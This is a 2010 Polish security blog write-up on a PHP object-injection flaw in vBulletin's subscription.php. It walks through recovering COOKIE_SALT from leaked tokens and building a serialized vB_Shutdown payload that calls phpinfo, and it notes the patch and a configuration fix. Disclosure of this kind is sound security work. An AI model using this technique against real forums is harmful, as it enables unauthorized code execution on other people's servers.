04 lipca 2010
vBulletin: interesująca podatność typu script injection
niedziela, lipca 04, 2010 | Autor:
\m/ojtek
Jakiś czas temu przeglądając kod źródłowy popularnego komercyjnego skryptu internetowego forum dyskusyjnego, odkryłem interesującą podatność. Oto szczegółowa analiza tego przypadku. Najpierw jednak musimy rozpocząć od odrobiny teorii z PHP. Wyobraźmy sobie następujący fragment kodu:
$data = unserialize($data_from_user);
if (!is_array($data)) {
return;
}
Kod wygląda całkiem niewinnie, jeżeli odebrane dane nie są zserializowaną tablicą, funkcja kończy działanie... No tak, ale co w przypadku, gdy użytkownik dostarczy obiekt klasy? Okazuje się, że wówczas wykonany zostanie destruktor tej klasy. Pytanie, czy możemy w jakiś sposób wykorzystać to zachowanie języka PHP? Jak najbardziej, wystarczy, że w kodzie badanej aplikacji znajdziemy klasę, której destruktor wykonuje jakąś konkretną akcję, np. usuwa pliki tymczasowe:
class Cleaner {
public function __destruct() {
foreach ($this->_toDelete as $f)
unlink($f);
}
public function add($f) {
$this->_toDelete[] = $f;
}
private $_toDelete = array();
}
Teraz użytkownik, może wykonać (lokalnie) następujące działanie:
$x = new Cleaner();
$x->add('index.html');
$payload = serialize($x);
I wysłać $payload do aplikacji, gdzie destruktor posłusznie usunie plik index.html. Tyle teorii, czas na przykład z życia wzięty.
Jakiś czas temu przeglądałem kod źródłowy forum vBulletin, które jak się okazało, zawiera dość nietypowy błąd typu script injection. Podatności w żadnym wypadku nie można zaliczyć do grona krytycznych, gdyż pozwala wywołać na zdalnej maszynie jedynie dowolną, bezparametrową funkcję języka PHP np: phpinfo. Myślę jednak, że jest na tyle ciekawa, że warto o niej wspomnieć na forum publicznym.
Oto szczegóły. Plik subscription.php zawiera, między innymi, następujący blok kodu:
$ids = @unserialize(verify_client_string($vbulletin->GPC['ids']));
if (!is_array($ids) OR empty($ids))
{
// error handling...
}
Wygląda znajomo prawda? Pojawia się jednak dodatkowy poziom trudności, gdyż odebrane dane poddawane są weryfikacji. Mamy więc przed sobą dwa problemy:
- Weryfikacja danych
- Odnalezienie w kodzie aplikacji klasy, która posiada użyteczny destruktor
W pierwszej kolejności zajmiemy się weryfikacją. Funkcja verify_client_string wygląda następująco:
function verify_client_string($string, $extra_entropy = '')
{
if (substr($string, 0, 4) == 'B64:')
{
$firstpart = substr($string, 4, 40);
$return = substr($string, 44);
$decode = true;
}
else
{
$firstpart = substr($string, 0, 40);
$return = substr($string, 40);
$decode = false;
}
if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
{
return ($decode ? base64_decode($return) : $return);
}
return false;
}
Jak widzimy, aby aplikacja przyjęła dane użytkownika, muszą one zostać podpisane. Żeby tego dokonać musimy znać wartość COOKIE_SALT. Okazuje się, że domyślna wartość COOKIE_SALT to nr licencji, który ma następujący format: VBXXXXXXXX, gdzie XXXXXXXX to liczba w postaci szesnastkowej. W praktyce wszystkie klucze licencji, które sprawdziłem miały format: VBFXXXXXXX, mamy więc 2^28 kombinacji. Trochę za dużo na atak on-line. Nie wszystko jednak stracone. Okazuje się, ze vBulletin na podstawie wartości COOKIE_SALT oblicza wartość tokenu chroniącego przed atakami CSRF, który siłą rzeczy przesyłany jest do użytkownika. Wspomniany token wyliczany jest w następujący sposób:
$user['securitytoken_raw'] = sha1($user['userid'] . sha1($user['salt']) . sha1(COOKIE_SALT));
$user['securitytoken'] = TIMENOW . '-' . sha1(TIMENOW . $user['securitytoken_raw']);
userid to wartość publicznie znana, pozostaje salt, która jest wartością losową, stałą dla każdego użytkownika. Wyliczana jest w następujący sposób:
function fetch_user_salt($length = 3)
{
$salt = '';
for ($i = 0; $i < $length; $i++)
{
$salt .= chr(rand(33, 126));
}
return $salt;
}
Mamy więc 94^3 kombinacji wartości salt. W połączeniu z liczbą kombinacji wartości COOKIE_SALT 2^28 dostajemy 94^3 * 2^28 przypadków jakie musimy sprawdzić, aby odtworzyć wartość COOKIE_SALT z tokenu zabezpieczającego. Nadal dużo, nawet na atak off-line.
Po chwili poszukiwań, na stronie "reply post" znajdujemy wartość, która wyliczana jest w następujący sposób:
$poststarttime = TIMENOW;
$posthash = md5($poststarttime . $vbulletin->userinfo['userid'] . $vbulletin->userinfo['salt']);
Bingo! Odtworzenie wartości salt z tak wyliczonego hasha to dosłownie chwila. Mając wartość salt, możemy wrócić do łamania wartości COOKIE_SALT na podstawie securitytoken. Po chwili powinniśmy mieć upragnioną wartość COOKIE_SALT!
Zajmiemy się teraz drugim problemem - poszukiwanie klasy posiadającej użyteczny destruktor. Rezultat poszukiwań to klasa vB_Shutdown (plik class_core.php), której destruktor wygląda następująco:
function __destruct()
{
if (!empty($this->shutdown))
{
foreach ($this->shutdown AS $key => $funcname)
{
$funcname();
unset($this->shutdown[$key]);
}
}
}
Jak widać klasa jest niemal stworzona do wykorzystania w tego typu ataku. Jej destruktor wywołuje listę funkcji PHP! Niestety, w tym wypadku mogą to być tylko funkcje nie posiadające argumentów.
Teraz możemy wykorzystać wszystkie zdobyte do tej pory informacje do przeprowadzenia ataku:
Tworzymy obiekt następującej klasy:
class vB_Shutdown {
public $shutdown = array(
"phpinfo"
);
}
$payload = new vB_Shutdown();
Serializujemy payload:
$payload = serialize($payload);
Podpisujemy payload (algorytmem wykorzystywanym przez vBulletin) używając wyliczonej wartości COOKIE_SALT.
Wysyłamy payload do aplikacji i czekamy na rezultat wykonania funkcji phpinfo.
Błąd został zgłoszony kilka miesięcy temu, dostępne są odpowiednie aktualizacje. Z technicznego punktu widzenia, poprawka sprowadza się do rezygnacji z serializacji, na rzecz kodowania tablicy w postaci ciągu tekstowego "1,2,3,...,n". Warto zaznaczyć, że bardzo łatwo można zablokować opisany atak, nawet w przypadku niezaktualizowanej wersji oprogramowania, poprzez ustawienie zmiennej konfiguracyjnej $config['Misc']['cookie_security_hash'] (plik includes/config.php) na odpowiednio długi, losowy ciąg znaków. Ten prosty zabieg sprawia, że wartość ta zostanie użyta jako COOKIE_SALT (zamiast numeru licencji).
[Od redakcji]
Autorem powyższego artykułu jest Dariusz Tytko (e-mail: tyter9 na Gmailu). Przy okazji pragnę jeszcze raz przypomnieć, że serwis HCSL jest niezwykle otwarty na wszelkie formy współpracy.
Etykiety:
Bezpieczeństwo aplikacji,
Obrona - Atak
vBulletin: interesująca podatność typu script injection
2010-07-04T18:28:00+02:00
\m/ojtek
Bezpieczeństwo aplikacji|Obrona - Atak|
Subskrybuj:
Komentarze do posta (Atom)
Wyszukaj w HCSL:
Subskrybuj:
Najpopularniejsze artykuły wszech czasów:
- Urządzenia do kopiowania kart płatniczych
- Co tak naprawdę ujawniasz w Internecie?
- Dlaczego należy zasłaniać klawiaturę bankomatu?
- Publiczna wiadomość z ukrytym przekazem
- Przyszłość antywirusów jest jasna
- Sposób na obejście internetowych blokad
- Superbezpieczne hasła na... żółtej karteczce
- Funkcje sprzętowego kasowania danych w HDD!
- 12-latek odkrył krytyczną lukę w Firefoksie
- Przestępstwo nie popłaca
- Czy jesteśmy inwigilowani przez chiński sprzęt?
- Gotowy zestaw do podsłuchiwania GSM
- Jak działa internetowa mafia?
- Uwaga na nowy rodzaj ataków phishingowych!
- Microsoftowy poradnik dla organów ścigania!
- Polski super-bezpieczny system Qubes OS
- Dane wieczyście dostępne
- Pierwszy atak samochodowych crackerów
- Pliki PDF zdolne do wykonania dowolnego kodu
- Polskie służby współpracują z firmą Google?
- Więzienie za odmowę ujawnienia hasła
- Podrzucanie dziecięcej pornografii
- Zapomniany film o hakerach
- Łamanie haseł w Windows Vista i 7